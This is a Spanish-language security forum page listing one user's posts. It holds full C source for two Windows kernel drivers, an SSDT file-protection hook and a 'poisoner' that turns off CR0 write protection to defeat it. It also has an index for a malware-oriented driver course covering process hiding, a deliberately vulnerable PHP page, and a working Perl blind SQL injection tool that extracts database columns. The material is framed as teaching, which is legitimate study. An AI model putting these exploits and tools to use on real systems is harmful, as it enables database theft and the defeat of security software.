f7bcc9e0  00000000 00000000 00000000 00000000
f7bcc9f0  00000000 00000000 00000000 00000000
f7bcca00  00000000 55ff8b00 98a1ec8b 85f7bcc9
f7bcca10  bb40b9c0 04740000 2375c13b c82c158b

Como ven, esta la dirección correcta de la API, vamos a ejecutar nuestro "envenenador", a ver que pasa:

Citar
lkd> dd f7bcc9a0
f7bcc9a0  f7c944aa f7abbb9c 00000000 00000000
f7bcc9b0  00000000 00000000 00000000 00000000
f7bcc9c0  00000000 00000000 00000000 00000000
f7bcc9d0  00000000 00000000 00000000 00000000
f7bcc9e0  00000000 00000000 00000000 00000000
f7bcc9f0  00000000 00000000 00000000 00000000
f7bcca00  00000000 55ff8b00 98a1ec8b 85f7bcc9
f7bcca10  bb40b9c0 04740000 2375c13b c82c158b

Juas Juas, se lo a tragado (y si han podido ver esto, es porque no les ha dado BSOD  :xD) Si todo a funcionado bien, nuestra función debe de recibir ya la llamada del driver victima (lo hace, para ello pueden poner un simple DbgPrint("Me llaman"); en la función del driver de "envenenamiento").

Si echamos un ojo en el DbgView, vamos a ver que sale un montón de mensajes de "Error en el procesamiento del driver", esto sale desde el driver victima, ya que al no verificar que el ObjectAttributes esta vació, provoca error (esto lo e echo a propósito para que aprendas que, aparte de validar las variables que llamamos, siempre se tienen que validar este tipo de cosas, un error en modo Kernel puede ser muy grave  ;)).

Ahora si intentamos eliminar el archivo prueba.txt situado en C:\ veremos como no nos da ninun tipo de problema, ya que el driver de filtrado no puede saber que archivo queremos eliminar.

Si cerramos el driver "envenenador" se restablecerá la dirección real de la API en dentro de la variable del driver de filtrado, y si cerramos este, eliminara en hook que había puesto en la SSDT, y va a creer que ha echo bien su trabajo, pero nosotros sabemos que no  :D

Creo que no me e dejado nada en el tintero, espero que este texto sirva para animaros a programar algo en modo kernel, os aseguro que si estos temas (de modo Kernel) se trataran más en este subforo la gente participaría un 300% más de lo que se participa en este foro, estoy seguro  ;) Yo e dado el primer paso, ahora os toca a vosotros dar el vuestro, para poder charlar de un tema que personalmente me apasiona, no creen que lo de los troyanos y joiners ya esta muy visto? demos un paso al frente y progresemos  ;)

Por último, quiero dar las gracias a Mek, ya que parte de este concepto lo desarrollamos el y yo en el driver con el que "combatíamos" al sXe  :D

Un Saludo  :)



Código completo del Driver de filtrado:

Código
  1. #include "ntddk.h"
  2. #include <string.h>
  3.  
  4. #pragma pack(1)
  5. typedef struct ServiceDescriptorEntry {
  6.        unsigned int *ServiceTableBase;
  7.        unsigned int *ServiceCounterTableBase;
  8.        unsigned int NumberOfServices;
  9.        unsigned char *ParamTableBase;
  10. } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
  11. #pragma pack()
  12.  
  13. __declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
  14. #define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
  15.  
  16. PMDL  g_pmdlSystemCall;
  17. PVOID *MappedSystemCallTable;
  18. #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
  19. #define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
  20.        _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  21.  
  22. #define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
  23.        InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  24.  
  25. static char archivo[] = "\\??\\C:\\prueba.txt";
  26.  
  27. NTSYSAPI
  28. NTSTATUS
  29. NTAPI ZwOpenFile(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions);
  30.  
  31. typedef NTSTATUS (*typeZwOpenFile)(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions);
  32. typeZwOpenFile ZwOpenFileIni;
  33.  
  34.  
  35. NTSTATUS ZwOpenFileRep(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions)
  36. {
  37.  
  38.   NTSTATUS ntStatus;
  39.   ANSI_STRING strf;
  40.  
  41.  
  42.   ntStatus = ((typeZwOpenFile)(ZwOpenFileIni)) (FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock,  ShareAccess, OpenOptions);
  43.   if (ntStatus!=STATUS_SUCCESS) return ntStatus;
  44.  
  45. __try
  46.    {
  47.   RtlUnicodeStringToAnsiString(&strf,ObjectAttributes->ObjectName,TRUE);
  48.   if (strcmp(archivo,strf.Buffer)==0)
  49.   {
  50. if (DesiredAccess & DELETE)
  51. {
  52. DbgPrint("Se intentó eliminar el archivo...");
  53. ZwClose(FileHandle);
  54. *FileHandle=NULL;
  55. return STATUS_INVALID_HANDLE;
  56. }
  57.   }
  58.   }
  59.  
  60.   __except(EXCEPTION_EXECUTE_HANDLER)
  61.   {
  62. DbgPrint("Error en el procesamiento del Driver");
  63.   }
  64.  
  65.   return ntStatus;
  66. }
  67.  
  68. VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
  69. {
  70.   DbgPrint("Descargando driver...");
  71.  
  72.   UNHOOK_SYSCALL(ZwOpenFile, ZwOpenFileIni, ZwOpenFileRep);
  73.  
  74.   if(g_pmdlSystemCall)
  75.   {
  76.      MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
  77.      IoFreeMdl(g_pmdlSystemCall);
  78.   }
  79. }
  80.  
  81. NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
  82. {
  83.    NTSTATUS s = STATUS_SUCCESS;
  84.  
  85. DriverObject->DriverUnload=OnUnload;
  86.  
  87.    DbgPrint("*** Programa de control de archivos. Por Hendrix ***");
  88. DbgPrint(" ");
  89. DbgPrint("Driver cargado.");
  90.  
  91.  
  92.   ZwOpenFileIni =(typeZwOpenFile)(SYSTEMSERVICE(ZwOpenFile));
  93.  
  94.   DbgPrint("Direccion actual: 0x%x",(int)(SYSTEMSERVICE(ZwOpenFile)));
  95.  
  96.   g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
  97.   if(!g_pmdlSystemCall)
  98.      return STATUS_UNSUCCESSFUL;
  99.  
  100.   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
  101.  
  102.   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
  103.  
  104.   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
  105.  
  106.   HOOK_SYSCALL(ZwOpenFile, ZwOpenFileRep, ZwOpenFileIni);
  107.  
  108.   DbgPrint("Direccion despues del Hook: 0x%x",(int)(SYSTEMSERVICE(ZwOpenFile)));
  109.   return s;
  110. }

Código completo del Envenenador:

Código
  1. #include <NTDDK.h>
  2. #include <WINDEF.h>
  3. #include <STDIO.h>
  4. #include <string.h>
  5.  
  6. #pragma pack(1)
  7.  
  8.  
  9. NTSYSAPI
  10. NTSTATUS
  11. NTAPI ZwOpenFile(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions);
  12.  
  13. typedef NTSTATUS (*typeZwOpenFile)(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions);
  14. typeZwOpenFile ZwOpenFileIni;
  15.  
  16. DWORD det;
  17. DWORD dir;
  18. DWORD MyDir;
  19.  
  20.  
  21.  
  22. NTSTATUS ZwOpenFileRep(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions)
  23. {
  24.  
  25.   NTSTATUS ntStatus;
  26.   ANSI_STRING strf;
  27.   OBJECT_ATTRIBUTES oa;
  28.  
  29.  
  30.   ntStatus = ((typeZwOpenFile)(ZwOpenFileIni)) (FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock,  ShareAccess, OpenOptions);
  31.   if (ntStatus!=STATUS_SUCCESS) return ntStatus;
  32.  
  33. __try
  34.    {
  35. //Limpiamos toda la información de la estructura para que no nos pillen el nombre del fichero
  36. RtlZeroMemory(ObjectAttributes,sizeof(ObjectAttributes));
  37. InitializeObjectAttributes(ObjectAttributes,NULL,0,NULL,NULL);
  38.  
  39.   }
  40.  
  41.   __except(EXCEPTION_EXECUTE_HANDLER)
  42.   {
  43. DbgPrint("Error en el procesamiento del Driver");
  44.   }
  45.  
  46.   return ntStatus;
  47. }
  48.  
  49. VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
  50. {
  51.   DbgPrint("Descargando driver...");
  52.  
  53.   __asm
  54. {
  55. cli
  56. push eax
  57. mov eax, cr0
  58. and eax, 0xFFFEFFFF
  59. mov cr0, eax
  60. pop eax
  61. }
  62.  
  63.   __try
  64.    {
  65. //Reparamos la variable del driver victima con la dirección real de la API.
  66. *(DWORD*)det = (DWORD)ZwOpenFileIni;
  67.   }
  68.  
  69.   __except(EXCEPTION_EXECUTE_HANDLER)
  70.   {
  71. DbgPrint("Error en el procesamiento del Driver");
  72.   }
  73.  
  74.   __asm
  75. {
  76. push eax
  77. mov eax, cr0
  78. or eax, not 0xFFFEFFFF
  79. mov cr0, eax
  80. pop eax
  81. sti
  82. }
  83. }
  84.  
  85. NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
  86. {
  87.    NTSTATUS s = STATUS_SUCCESS;
  88.  
  89. det = (DWORD) 0xf7bcc9a0;
  90. dir = (DWORD) 0x8056f41a;
  91. MyDir = (DWORD) ZwOpenFileRep;
  92.  
  93. DriverObject->DriverUnload=OnUnload;
  94.  
  95. DbgPrint("Modificado de memoria. Por Hendrix");
  96.  
  97.  
  98.   ZwOpenFileIni =(typeZwOpenFile)0x8056f41a;
  99.  
  100.   __asm
  101. {
  102. cli
  103. push eax
  104. mov eax, cr0
  105. and eax, 0xFFFEFFFF
  106. mov cr0, eax
  107. pop eax
  108. }
  109.  
  110.   __try
  111.    {
  112. //Parcheamos la variable del programa victima con la dirección de nuestra función
  113. *(DWORD*)det = MyDir;
  114.  
  115.   }
  116.  
  117.   __except(EXCEPTION_EXECUTE_HANDLER)
  118.   {
  119. DbgPrint("Error en el procesamiento del Driver");
  120.   }
  121.  
  122.   __asm
  123. {
  124. push eax
  125. mov eax, cr0
  126. or eax, not 0xFFFEFFFF
  127. mov cr0, eax
  128. pop eax
  129. sti
  130. }
  131.  
  132.   DbgPrint("Hook inyectado!!");
  133.   return s;
  134. }

8  Seguridad Informática / Análisis y Diseño de Malware / Introducción a la programación de drivers en Windows en: 12 Octubre 2008, 20:43 pm
E pensado en escribir un artículo sobre la programación de drivers en Windwos. Este primer post lo voy a tener como índice del manual, al terminarlo lo voy a pasar a PDF. (No lo bloqueo ya que me interesa que los lectores pregunten lo que no entiendan, para poderlo resolver e ir editando lo que sera el PDF explicando lo que se pregunte).

Nota: Este artículo lo publico en este subforo y no en el de programación ya que sera orientado al malware.



Índice


1. Nociones básicas
         1.1 Herramientas necesarias
         1.2 Modo kernel y modo Usuario
         1.3 Documentación interesante

2. Introducción
         2.1 Hola mundo desde el driver
         2.2 Comunicación entre Modo kernel y modo usuario

3. El Kernel de Windows
         3.1 La SSDT o System Service Descriptor Table
         3.2 Memoria protegida y Hooks en la SSDT

4. Direct Kernel Object Manipulation (DKOM)
         4.1 Eprocess
         4.2 Ocultando procesos sin Hooks



Este artículo esta bajo la licencia Reconocimiento-No comercial-Compartir bajo la misma licencia 2.5 España License de Creative Commons

Un Saludo  :)

9  Seguridad Informática / Nivel Web / Blind MySql Injection by Ka0x en: 26 Abril 2008, 16:46 pm
Aqui dejo este papper que me paso ka0x para ser publicado aqui, esta bastante interesante

http://www.milw0rm.com/papers/197

Un Saludo

Editado:

Aqui dejo los codigos, para que no se tengan que copiar del PDF:

Codigo php:

Código
  1. <?php
  2.  
  3. # ---- CONFIG -----
  4. $host = 'localhost';
  5. $dbuser = 'root';
  6. $dbpass = 'password';
  7. $dbname = 'blind';
  8. # -----------------
  9.  
  10. echo "<title>Blind SQL Injection Test - D.O.M LABS 2008</title>";
  11.  
  12. $db = mysql_connect($host, $dbuser, $dbpass);
  13. mysql_select_db($dbname,$db);
  14.  
  15.  
  16. $sql = "SELECT * FROM users WHERE id=".$_GET['id'];
  17. $query = mysql_query($sql);
  18.  
  19. if(@mysql_num_rows($query)==0){
  20. die('No hay columnas');
  21. }
  22.  
  23. $result=@mysql_fetch_row($query);
  24. echo "<h2><center><u>Blind SQL Injection Test<br>D.O.M LABS</u><br><br>";
  25. echo "<font color='#FF0000'>user_id: </font>".$result[0]."<br>";
  26. echo "<font color='#FF0000'>username: </font>".$result[1]."<br>";
  27. // echo "Passwd: ".$result[2]."<br>";
  28. echo "</h2></center>";
  29.  
  30. die();
  31.  
  32. ?>

Código SQL:

Código
  1. -- Table: users
  2. -- by ka0x - D.O.M
  3. -- Blind SQL Injection Paper
  4.  
  5. CREATE TABLE `users` (
  6.  `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  7.  `name` VARCHAR(50) NOT NULL,
  8.  `password` VARCHAR(50) NOT NULL,
  9.  PRIMARY KEY  (`id`)
  10. ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
  11.  
  12. -- users --
  13. INSERT INTO `users` VALUES (1, 'administrator', '1234%&_');
  14. INSERT INTO `users` VALUES (2, 'ka0x', 't3st_bl1nd');
  15. INSERT INTO `users` VALUES (3, 'bush', 'terrorist');
  16. -- eof --

Código Perl:

Código
  1. #!/usr/bin/perl -W
  2.  
  3. # Blind MySQL Injection Paper
  4. # example brute force
  5.  
  6. # -- OPTIONS --
  7. my $MAX_FIELD_LENGTH = 200 ;
  8. my $EXIT_IF_NO_CHAR = 1 ;
  9. my $DEFAULT_THREADS = 15 ;
  10. my $DEFAULT_THREADS_TIMEOUT = 30 ;
  11. my @ascii = ( 33 .. 123 ) ;
  12. my $DEFAULT_THREADS_TIME = 1 ;
  13. # ---
  14.  
  15. use LWP::UserAgent ;
  16.  
  17. sub _HELP_AND_EXIT
  18. {
  19. die "
  20.  
  21.  ./$0  -u <url>  -tn <table>  -cn <column>  -p <pattern>
  22.  
  23. Options:
  24.  -u    <url>               Ex: http://www.google.es/vuln.php?id=1
  25.  -tn   <table_name>        Table name.
  26.  -cn   <column_name>       Column name.
  27.  -p    <pattern>           HTML pattern.
  28.  
  29. Other:
  30.  -t    <#>                 Threads, default '$DEFAULT_THREADS'.
  31.  -l    <#>                 Maximum table name length '$MAX_FIELD_LENGTH'.
  32.  -T    <#>                 Timeout.
  33.  -h                        Help (also with --help).
  34. " ;
  35. }
  36.  
  37.  
  38. my ($p, $w) = ({ @ARGV }, { }) ;
  39.  
  40. map {
  41. &_HELP_AND_EXIT if $_ eq '--help' or $_ eq '-h' ;
  42. } keys %$p ;
  43.  
  44. map {
  45. die "[!] Require: $_\n" unless $p->{ $_ } ;
  46. } qw/-u -tn -cn -p/ ;
  47.  
  48. $p->{'-t'} = ( $p->{'-t'} and $p->{'-t'} =~ /^\d+$/ ) ? $p->{'-t'} : ( $w->{'-t'} = $DEFAULT_THREADS ) ;
  49. $p->{'-l'} = ( $p->{'-l'} and $p->{'-l'} =~ /^\d+$/ ) ? $p->{'-l'} : ( $w->{'-l'} = $MAX_FIELD_LENGTH ) ;
  50. $p->{'-T'} = ( $p->{'-T'} and $p->{'-T'} =~ /^\d+$/ ) ? $p->{'-T'} : ( $w->{'-T'} = $DEFAULT_THREADS_TIMEOUT ) ;
  51.  
  52. map {
  53. warn "[i] Getting default: $_ $w->{ $_ }\n" ;
  54. } sort keys %$w ;
  55.  
  56. ( &_IS_VULN( $p ) ) ? &_START_WORK( $p ) : die "[i] Bad pattern ? Isn't vulnerable ?\n" ;
  57.  
  58.  
  59.  
  60.  
  61. sub _START_WORK
  62. {
  63. my $p = shift ;
  64.  
  65. ($p->{'id_value'}) = ( $p->{'-u'} =~ /(\d+)$/ ) ; # Get the id value
  66.  
  67. my $position = 1 ;
  68.  
  69. pipe(R, W) ;
  70. pipe(Rs, Ws) ;
  71. autoflush STDOUT 1 ;
  72.  
  73. my $sql_message = '' ;
  74. my $msg = '' ;
  75. my @pid ;
  76.  
  77. while( $position <= $p->{'-l'} )
  78. {
  79. my $cf ;
  80. unless( $cf = fork ){ &_CHECKING( $p, $position ) ; exit(0) ; }
  81. push(@pid, $cf) ;
  82.  
  83. my $count = 0 ;
  84. my $can_exit ;
  85. my $char_printed ;
  86.  
  87. while(<R>)
  88. {
  89. push(@pid, (split(/:/))[1] ) if /^pid/ ;
  90.  
  91. my ($res, $pos, $ascii) = ( split(/ /, $_) ) ;
  92. $count++ if $pos == $position ;
  93.  
  94. print "\b" x length($msg), ($msg = "$position $ascii " . chr($ascii) ) ;
  95.  
  96. if( $res eq 'yes' and $pos == $position ){
  97. $char_printed = $can_exit = 1 ;
  98. print Ws "STOP $position\n" ;
  99. $sql_message .= chr( $ascii ) ;
  100. }
  101.  
  102. last if ( $can_exit or $count == @ascii );
  103. }
  104.  
  105. map { waitpid($_, 0) } @pid ;
  106.  
  107. unless( $char_printed )
  108. {
  109. if( $EXIT_IF_NO_CHAR )
  110. {
  111. warn "\n[!] \$EXIT_IF_NO_CHAR : I can't find a valid character, position $position.\n"  ;
  112. last ;
  113. }
  114. }
  115.  
  116. $position++ ;
  117. }
  118.  
  119. print "[i] SQL_FIELD:\n$sql_message\n" ;
  120.  
  121. }
  122.  
  123. sub _CHECKING
  124. {
  125. my ($p, $position) = @_ ;
  126. my $counter = 0 ;
  127. my $stop_position ;
  128.  
  129. foreach my $ascii ( @ascii )
  130. {
  131. $counter++ ;
  132.  
  133. if( $counter % $p->{'-t'} == 0 )
  134. {
  135. my $stop_position ;
  136. {
  137. $SIG{'ALRM'} = sub { die "non_stop\n" } ;
  138. alarm $DEFAULT_THREADS_TIME ;
  139. my $line = <Rs> ;
  140. $stop_position = (split( / /, $line))[1] ;
  141. alarm 0 ;
  142. } ;
  143.  
  144. if( ($stop_position) and $stop_position == $position ){ print "\nnext position\n" ; exit(0) ; }
  145. }
  146.  
  147. unless(my $pid = fork )
  148. {
  149. print Ws "pid:$pid\n" or die ;
  150.  
  151.  
  152. my $url = $p->{'-u'} .
  153. ' AND ascii(substring((SELECT ' . $p->{'-cn'} .
  154. ' FROM ' . $p->{'-tn'} . ' where id=' .
  155. $p->{'id_value'} . '),' . $position . ',1))='. $ascii ;
  156.  
  157. my $ua = LWP::UserAgent->new ;
  158. $ua->timeout( $p->{'-T'} ) ;
  159.  
  160. my $content ;
  161. while( 1 )
  162. {
  163. last if $content = $ua->get( $url )->content ;
  164. }
  165.  
  166. ( $content =~ /$p->{'-p'}/ ) ? print W "yes $position $ascii\n" : print W "no $position $ascii\n" ;
  167.  
  168. exit( 0 ) ;
  169. }
  170.  
  171. }
  172. }
  173.  
  174.  
  175.  
  176. sub _IS_VULN
  177. {
  178. my $p = shift ;
  179.  
  180. my $ua = LWP::UserAgent->new ;
  181. $ua->timeout( $p->{'-T'} ) ;
  182.  
  183. my ( $one, $two ) = (
  184. $ua->get( $p->{'-u'}." AND 1=1")->content ,
  185. $ua->get( $p->{'-u'}." AND 1=2")->content ,
  186. ) ;
  187.  
  188. return ($one =~ /$p->{'-p'}/ and $two !~ /$p->{'-p'}/) ? 1 : undef ;
  189. }

10  Programación / Scripting / [Aporte] ObfuscateBatch en: 21 Marzo 2008, 13:28 pm
En una mañana de aburrimiento e codeado esta herramienta, es bastante sencilla y sirve mas que nada para ofuscar el codigo fuente de un archivo .bat, lo deja algo "ilegible" y funciona normalmente al 100%.

E tenido un problemilla con las variables, que lo e solventado de la forma mas "simple", no ofuscandolas.

Con todos los codigos que lo e porbado a funcionado, si alguein encuentra un error que lo diga.

Un Saludo  :)

PD: Se me olvidaba, esta escrito en C#, lo posteo aqui pues esta echo para Batch.
Páginas: [1] 2 3 4 5 6 7 8 9
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines